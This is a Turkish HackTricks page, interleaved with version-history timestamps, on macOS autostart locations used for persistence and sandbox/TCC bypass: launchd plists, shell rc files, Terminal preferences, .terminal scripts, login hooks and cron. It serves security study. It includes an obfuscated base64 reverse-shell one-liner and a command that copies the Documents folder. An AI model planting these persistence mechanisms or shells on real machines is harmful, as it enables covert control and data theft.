2024-02-10 18:14:16 +00:00
# macOS Otomatik Başlatma
2023-06-01 21:09:46 +00:00
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahramana öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > !< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları :
2023-12-30 20:49:49 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi **HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* [**The PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na **PR göndererek paylaşı n** .
2023-06-01 21:09:46 +00:00
< / details >
2024-02-10 18:14:16 +00:00
Bu bölüm, [**Beyond the good ol' LaunchAgents** ](https://theevilbit.github.io/beyond/ ) blog serisine dayanmaktadı r. Amacı , **daha fazla Otomatik Başlatma Konumu** (mümkünse) eklemek, günümüzdeki macOS'ı n en son sürümü (13.4) ile hala çalı şan **hangi teknikleri belirtmek** ve **gereken izinleri** belirtmektir.
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
## Sandbox Atlama
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-02-10 18:14:16 +00:00
Burada, **sandbox atlama** için kullanı şlı olan başlatma konumları nı bulabilirsiniz. Bu, bir şeyi **bir dosyaya yazarak** ve çok **yaygı n bir eylem** , belirli bir **zaman miktarı ** veya genellikle bir sandbox içinden root izinleri olmadan gerçekleştirebileceğiniz bir **eylem** bekleyerek basitçe **yürütmenizi sağlar** .
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-02-10 18:14:16 +00:00
* Sandbox atlama için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC Atlama: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchAgents`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
* Root gerektirir
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchDaemons`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
* Root gerektirir
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchAgents`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
* Root gerektirir
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchDaemons`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
* Root gerektirir
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchAgents`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden oturum açma
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchDemons`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden oturum açma
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
**`launchd`**, OX S çekirdeği tarafı ndan başlatı lan **ilk** **işlem** ve kapanı şta biten son işlemdir. Her zaman **PID 1** 'e sahip olmalı dı r. Bu işlem, yönetici tarafı ndan yüklenen **ASEP** **plistlerinde** belirtilen yapı landı rmaları **okur ve yürütür** :
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
* `/Library/LaunchAgents` : Yönetici tarafı ndan yüklenen kullanı cı başlatı cı ları
* `/Library/LaunchDaemons` : Yönetici tarafı ndan yüklenen sistem genelindeki hizmetler
* `/System/Library/LaunchAgents` : Apple tarafı ndan sağlanan kullanı cı başlatı cı ları .
* `/System/Library/LaunchDaemons` : Apple tarafı ndan sağlanan sistem genelindeki hizmetler.
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Bir kullanı cı oturum açtı ğı nda, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumunda bulunan plistler, **oturum açan kullanı cı nı n izinleriyle** başlatı lı r.
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
**Ajanlar ve hizmetler arası ndaki temel fark, ajanları n kullanı cı oturum açtı ğı nda yüklenmesi ve hizmetlerin sistem başlangı cı nda yüklenmesidir** (çünkü ssh gibi hizmetlerin sisteme erişmeden önce çalı ştı rı lması gerekmektedir). Ayrı ca ajanlar GUI kullanabilirken, hizmetler arka planda çalı şması gerekmektedir.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-10 18:14:16 +00:00
Bazı durumlarda, kullanı cı oturum açmadan önce bir **ajanı n çalı ştı rı lması gerekebilir** , bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açma sı rası nda destekleyici teknoloji sağlamak için kullanı şlı dı r. Bunlar ayrı ca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) bakı n).
2023-06-01 21:09:46 +00:00
2023-09-28 15:09:34 +00:00
{% hint style="info" %}
2024-02-10 18:14:16 +00:00
Yeni Daemon veya Ajan yapı landı rma dosyaları , **bir sonraki yeniden başlatma veya** `launchctl load <hedef.plist>` **kullanı larak yüklenecektir** . Ayrı ca, `.plist` uzantı sı olmadan `launchctl -F <dosya>` ile **plist dosyaları nı n yüklenmesi de mümkündür** (ancak bu plist dosyaları otomatik olarak yeniden başlatı ldı ktan sonra yüklenmeyecektir).\
`launchctl unload <hedef.plist>` ile de **boşaltma** yapı labilir (onu işaret eden işlem sonlandı rı lacaktı r).
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Bir **Ajanı n** veya **Daemonun** çalı şması nı **engelleyen** (geçersiz kı lan gibi) **herhangi bir şeyin olmadı ğı ndan emin olmak** için şunu çalı ştı rı n: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Mevcut kullanı cı tarafı ndan yüklenen tüm ajanları ve daemonları listele:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-02-10 18:14:16 +00:00
Eğer bir plist kullanı cı nı n sahip olduğuysa, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanı cı olarak** ve root olarak değil çalı ştı rı lı r. Bu bazı ayrı calı k yükseltme saldı rı ları nı engelleyebilir.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### kabuk başlangı ç dosyaları
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Yazı (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Sandbox'ı atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC Atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak, bu dosyaları yükleyen bir kabuk çalı ştı ran bir TCC atlatması olan bir uygulama bulmanı z gerekmektedir.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-12-30 00:49:26 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: zsh ile bir terminal açı n
2023-09-28 15:09:34 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: zsh ile bir terminal açı n
* Root gerektirir
2023-09-28 15:09:34 +00:00
* **`~/.zlogout`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: zsh ile bir terminalden çı kı n
2023-09-28 15:09:34 +00:00
* **`/etc/zlogout`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: zsh ile bir terminalden çı kı n
* Root gerektirir
* Olası olarak daha fazlası : ** `man zsh` **
2023-09-28 15:09:34 +00:00
* **`~/.bashrc`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: bash ile bir terminal açı n
* `/etc/profile` (çalı şmadı )
* `~/.profile` (çalı şmadı )
2023-09-28 15:09:34 +00:00
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: xterm ile tetiklenmesi beklenir, ancak **kurulu değil** ve kurulduktan sonra bile bu hata alı nı r: xterm: `DISPLAY is not set`
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
`zsh` veya `bash` gibi bir kabuk ortamı başlatı ldı ğı nda, **belirli başlangı ç dosyaları çalı ştı rı lı r** . macOS şu anda varsayı lan kabuk olarak `/bin/zsh` kullanmaktadı r. Bu kabuk, Terminal uygulaması başlatı ldı ğı nda veya bir cihaz SSH üzerinden erişildiğinde otomatik olarak erişilir. `bash` ve `sh` de macOS'ta bulunması na rağmen, kullanı lmak için açı kça çağrı lması gerekmektedir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
`man zsh` ile okuyabileceğimiz zsh'in man sayfası , başlangı ç dosyaları nı n uzun bir açı klaması nı içerir.
2023-09-28 15:09:34 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2024-02-10 18:14:16 +00:00
### Yeniden Açı lan Uygulamalar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Belirtilen saldı rı yı yapı landı rmak ve oturumu kapatı p açmak veya hatta yeniden başlatmak, uygulamayı çalı ştı rmam için işe yaramadı . (Uygulama çalı ştı rı lmı yordu, belki de bu işlemler gerçekleştirilirken uygulama çalı şı r durumda olmalı )
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
**Yazı **: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Sandbox'ı atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Uygulamaları yeniden açma işlemi
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Saldı rı
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Yeniden açı lacak tüm uygulamalar `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` plist dosyası nı n içindedir.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Bu nedenle, kendi uygulamanı zı yeniden açı lacak uygulamalar listesine eklemek için sadece **uygulamanı zı listeye eklemeniz gerekir** .
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
UUID, bu dizini listelemek veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutunu kullanarak bulunabilir.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Yeniden açı lacak uygulamaları kontrol etmek için şunu yapabilirsiniz:
2023-09-28 20:05:35 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Bu listeye bir uygulama eklemek için şunları kullanabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
2024-02-10 18:14:16 +00:00
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
### Terminal Tercihleri
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlaması : [✅ ](https://emojipedia.org/check-mark-button )
* Terminal, kullanı cı nı n FDA izinlerine sahip olması nı gerektirir.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Terminal Aç
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
**`~/Library/Preferences`** içinde, Kullanı cı Tercihleri uygulamaları n tercihlerini saklar. Bu tercihlerin bazı ları , **diğer uygulamaları / komut dosyaları nı çalı ştı rmak** için bir yapı landı rmayı tutabilir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Örneğin, Terminal Başlangı cı nda bir komut çalı ştı rabilir:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
< figure > < img src = "../.gitbook/assets/image (676).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2024-02-10 18:14:16 +00:00
Bu yapı landı rma, ** `~/Library/Preferences/com.apple.Terminal.plist` ** dosyası nda şu şekilde yansı tı lı r:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
[...]
"Window Settings" => {
2024-02-10 18:14:16 +00:00
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 20:05:35 +00:00
[...]
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Eğer sistemdeki terminalin tercihlerinin plist'i üzerine yazı labilirse, ** `open` ** işlevi kullanı larak terminal açı labilir ve bu komut çalı ştı rı lı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bunu aşağı daki komutla CLI'dan ekleyebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
# Remove
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
```
{% endcode %}
2024-02-10 18:14:16 +00:00
### Terminal Komut Dosyaları / Diğer dosya uzantı ları
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
* Sandbox'ı atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* Terminal, kullanı cı nı n FDA izinlerine sahipse kullanı labilir
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
* **Herhangi bir yer**
* **Tetikleyici**: Terminal Aç
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Eğer bir [**`.terminal`** komut dosyası ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) oluşturup açarsanı z, **Terminal uygulaması ** otomatik olarak çağrı lı r ve içinde belirtilen komutları çalı ştı rı r. Eğer Terminal uygulaması nı n özel yetkileri varsa (örneğin TCC gibi), komutunuz bu özel yetkilerle çalı ştı rı lı r.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Denemek için:
2023-10-01 18:04:16 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-10-01 18:04:16 +00:00
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-02-10 18:14:16 +00:00
Ayrı ca ** `.command` **, ** `.tool` ** uzantı ları nı da kullanabilirsiniz, bunlar düzenli kabuk komutları içeren betiklerdir ve Terminal tarafı ndan da açı lı rlar.
2023-12-17 01:01:54 +00:00
2023-10-01 18:04:16 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Terminalin **Tam Disk Erişimi** varsa, bu işlemi tamamlayabilir (dikkat: yürütülen komut bir terminal penceresinde görünecektir).
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Ses Eklentileri
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Yazı : [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlaması : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ekstra TCC erişimi elde edebilirsiniz
2023-12-30 00:49:26 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-Ins/HAL`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
* **Tetikleme**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
* **Tetikleme**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2024-02-10 18:14:16 +00:00
* **Tetikleme**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
* **`/System/Library/Components`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
* **Tetikleme**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Önceki yazı lara göre, bazı ses eklentilerini derleyip yüklemek mümkündür.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
### QuickLook Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlaması : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ekstra TCC erişimi elde edebilirsiniz
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
QuickLook eklentileri, bir dosyanı n önizlemesini tetiklediğinizde (Finder'da dosya seçiliyken boşluk çubuğuna bası n) ve o dosya türünü destekleyen bir eklenti yüklü olduğunda çalı ştı rı labilir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Kendi QuickLook eklentinizi derleyebilir, onu önceki konumlardan birine yerleştirebilir ve ardı ndan desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basabilirsiniz.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### ~~Giriş/Çı kı ş Kancaları ~~
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Bu benim için çalı şmadı , ne kullanı cı GirişKancağı ne de root Çı kı şKancağı ile.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
**Yazı **: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` gibi bir şeyi yürütebilmek için yetenekli olmanı z gerekiyor
* `~/Library/Preferences/com.apple.loginwindow.plist` konumunda bulunur
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bu kullanı mdan kaldı rı lmı ş olsa da, bir kullanı cı oturum açtı ğı nda komutları yürütmek için kullanı labilir.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Bu ayar `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
2024-02-10 18:14:16 +00:00
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
2023-09-28 20:05:35 +00:00
}
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Silmek için:
2023-09-28 20:05:35 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-02-10 18:14:16 +00:00
Root kullanı cı sı biri ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` ** içinde saklanı r.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
## Koşullu Sandbox Atlatma
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-02-10 18:14:16 +00:00
Burada, **sandbox atlatma** için kullanı şlı olan başlangı ç konumları nı bulabilirsiniz. Bu, bir şeyi **bir dosyaya yazarak** ve belirli **programları n yüklü olması , "sı radı şı " kullanı cı ** eylemleri veya ortamlar gibi **çok yaygı n olmayan koşulları n** oluşması nı beklemek suretiyle basitçe bir şeyi yürütmenizi sağlar.
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2024-02-10 18:14:16 +00:00
**Yazı **: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Sandbox atlatmak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Bununla birlikte, `crontab` ikilisini yürütebilmek veya root olmanı z gerekmektedir.
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-02-10 18:14:16 +00:00
* Doğrudan yazma erişimi için root gereklidir. `crontab <dosya>` komutunu yürütebiliyorsanı z root gerekmez.
* **Tetikleyici**: Cron görevine bağlı dı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
**Mevcut kullanı cı nı n** cron görevlerini listelemek için:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-02-10 18:14:16 +00:00
Kullanı cı ları n tüm cron işlerini ** `/usr/lib/cron/tabs/` ** ve ** `/var/at/tabs/` ** (root gerektirir) dizinlerinde görebilirsiniz.
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
MacOS'ta belirli bir sı klı kla betikleri çalı ştı ran birkaç klasör bulunabilir:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2024-02-10 18:14:16 +00:00
Aşağı da düzenli **cron** **görevleri** , **at** **görevleri** (pek kullanı lmaz) ve **periyodik** **görevler** (genellikle geçici dosyaları temizlemek için kullanı lı r) bulunabilir. Günlük periyodik görevler örneğin şu şekilde çalı ştı rı labilir: `periodic daily` .
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
**Kullanı cı ya programatik olarak bir cron görevi eklemek** için şunları kullanabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:05:35 +00:00
### iTerm2
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
